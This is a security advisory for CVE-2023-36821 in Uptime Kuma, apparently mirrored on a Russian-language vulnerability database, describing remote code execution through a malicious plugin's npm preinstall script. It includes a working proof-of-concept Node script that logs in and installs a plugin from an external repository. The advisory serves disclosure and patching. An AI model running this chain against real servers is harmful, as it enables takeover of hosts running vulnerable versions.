GHSA-7grx-f945-mj96

Опубликовано: 01 мая 2024

Источник: github

Github: Прошло ревью

CVSS3: 8.8

Описание

Uptime Kuma vulnerable to authenticated remote code execution via malicious plugin installation

Summary

Installation of a maliciously crafted plugin allows for remote code execution by an authenticated attacker.

Details

Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login. After downloading a plugin, it's installed by calling npm install in the installation directory of the plugin: https://github.com/louislam/uptime-kuma/blob/8c60e902e1c76ecbbd1b0423b07ce615341cb850/server/plugins-manager.js#L210-L216

Because the plugin is not validated against the official list of plugins or installed with npm install --ignore-scripts, a maliciously crafted plugin taking advantage of npm scripts can gain remote code execution.

PoC

In the PoC below, the plugin at https://github.com/n-thumann/npm-install-script-poc will be installed. It only consists of an empty index.js and a package.json containing the script: "preinstall": "echo \"Malicious code could have been executed as user $(whoami)\" > /tmp/poc". This will be executed when installing the plugin.

Start Uptime Kuma: docker run -d -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1
Create a user using the Uptime Kuma web interface, e.g. user admin with password admin123
Confirm that the PoC file to be created doesn't exist yet:

➜ ~ docker exec -it uptime-kuma cat /tmp/poc cat: /tmp/poc: No such file or directory

Create file poc.js with the following content:

SERVER = "ws://localhost:3001"; USERNAME = "admin"; PASSWORD = "admin123"; const { io } = require("socket.io-client"); const socket = io(SERVER); const repo = "https://github.com/n-thumann/npm-install-script-poc"; const name = "npm-install-script-poc"; socket.emit( "login", { username: USERNAME, password: PASSWORD, token: "" }, (res) => { if (res.ok !== true) return console.log("Login failed"); console.log("Login successful"); socket.emit("installPlugin", repo, name, () => { console.log("Done"); socket.close(); }); } );

Install socket.io-client: npm install socket.io-client
Run the script: node poc.js:

# node poc.js Login successful Done

The PoC file has been created:

➜ ~ docker exec -it uptime-kuma cat /tmp/poc Malicious code could have been executed as user root

Impact

This vulnerability allows authenticated attacker to gain remote code execution on the server Uptime Kuma is running on.

Ссылки

Пакеты

Наименование

uptime-kuma

npm

Затронутые версииВерсия исправления

<= 1.22.0

1.22.1

EPSS

Процентиль: 85%

0.02508

Низкий

8.8 High

CVSS3

CVE ID

CVE-2023-36821

Дефекты

CWE-20

Связанные уязвимости

CVE-2023-36821

CVSS3: 8.8

nvd

больше 2 лет назад

Uptime Kuma, a self-hosted monitoring tool, allows an authenticated attacker to install a maliciously crafted plugin in versions prior to 1.22.1, which may lead to remote code execution. Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login. After downloading a plugin, it's installed by calling `npm install` in the installation directory of the plugin. Because the plugin is not validated against the official list of plugins or installed with `npm install --ignore-scripts`, a maliciously crafted plugin taking advantage of npm scripts can gain remote code execution. Version 1.22.1 contains a patch for this issue.

EPSS

Процентиль: 85%

0.02508

Низкий

8.8 High

CVSS3

CVE ID

CVE-2023-36821

Дефекты

CWE-20